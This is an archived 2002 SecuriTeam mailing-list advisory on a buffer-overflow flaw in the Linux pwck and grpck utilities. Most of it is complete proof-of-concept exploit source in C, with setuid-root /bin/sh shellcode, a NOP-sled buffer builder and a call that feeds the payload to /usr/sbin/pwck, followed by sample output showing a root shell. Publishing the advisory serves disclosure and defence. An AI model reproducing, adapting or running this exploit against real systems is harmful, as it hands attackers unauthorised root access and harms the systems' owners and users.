

Securiteam: [EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

[EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0018.html>

From: support@securiteam.com

Date: 02/04/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 4 Feb 2002 10:32:24 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

SUMMARY

<<http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?pwck+1>> pwck is a tool to scan the password file and note any inconsistencies. A security vulnerability in the program allows attackers to execute of arbitrary code with elevated privileges (a similar binary called grpck also contains the mentioned vulnerability). The following is a proof of concept exploit code.

DETAILS

Exploit:

/*

PROPERTY OF THE [ElectronicSouls]

Brain-stuff.c - proof-of-concept-code

Coded and Discovered by 0x90 & BrainStorm

Generic buffer overflow ... =>

vulnerable binary: pwck

vulnerable/tested systems:

Linux RedHat 6.2 x86

Securiteam: [EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

Debian Linux 2.2 x86
Slackware Linux 7.1 x86
Mandrake Linux 7.2 x86

Well, we know this is nothing special and not even
suid on most systems, but anyway its fun to work on it =]
and at least we know–how so stop bitching ./kidz
------(test)-----

```
[user@hal ~]$ ./bof
```

```
(( E l e c t r o n i c – S o u l s ))
```

```
proof-of-concept-code  
Using address: 0xbffffb20
```

```
– 0x90 & BrainStorm –  
bash# id  
uid=0(root) gid=503(user) egid=0(root) groups=503(user)  
bash#
```

```
------(test)-----
```

```
quick greets ..like everytime ;)
```

```
0x7f – XOR Team – IC – ADM – Raza Mexicana
```

```
*/
```

```
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <strings.h>
```

```
#define BUFFER_SIZE 2180  
#define ALIGN 0  
#define OFFSET 0
```

```
char shellcode[] =  
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"  
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"  
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
unsigned long get_sp(void)
```

```
{  
  __asm__("movl %esp, %eax");  
}
```

```
int main(int argc, char **argv) {
```

Securiteam: [EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

```
int bsize = BUFFER_SIZE;
int offset = OFFSET;
int align = ALIGN;

unsigned long addr;
char *c0de;
int i;

if(argc > 1) offset = atoi(argv[1]);
if(argc > 2) align = atoi(argv[2]);
if(argc > 3) bsize = atoi(argv[3]);

if (bsize % 4 != 0) {

bsize = bsize + 4 - (bsize % 4); }
c0de = (char *)malloc(bsize);
addr = get_sp() - offset;

fprintf(stderr, "\n ( ( E l e c t r o n i c - S o u l s ) ) \n\n");
fprintf(stderr, " p r o o f - o f - c o n c e p t - c o d e \n");
fprintf(stderr, " Using address: 0x%x\n\n", addr);
fprintf(stderr, " - 0x90 & BrainStorm - \n");

for(i = 0; i < bsize; i++) {
*(long *)&c0de[i] = 0x90909090; }
*(long *)&c0de[bsize - 4] = addr;

memcpy(c0de + bsize - strlen(shellcode) - 8 - align, shellcode,
strlen(shellcode));
execl("/usr/sbin/pwck", "pwck", c0de, NULL);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:sk@netspot-online.net>
Stefan Klaas.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] Multiple pwck/grpck Privilege Elevation Vulnerabilities (Exploit code)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[EXPL] NETGEAR RO318 HTTP Filter Vulnerability"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)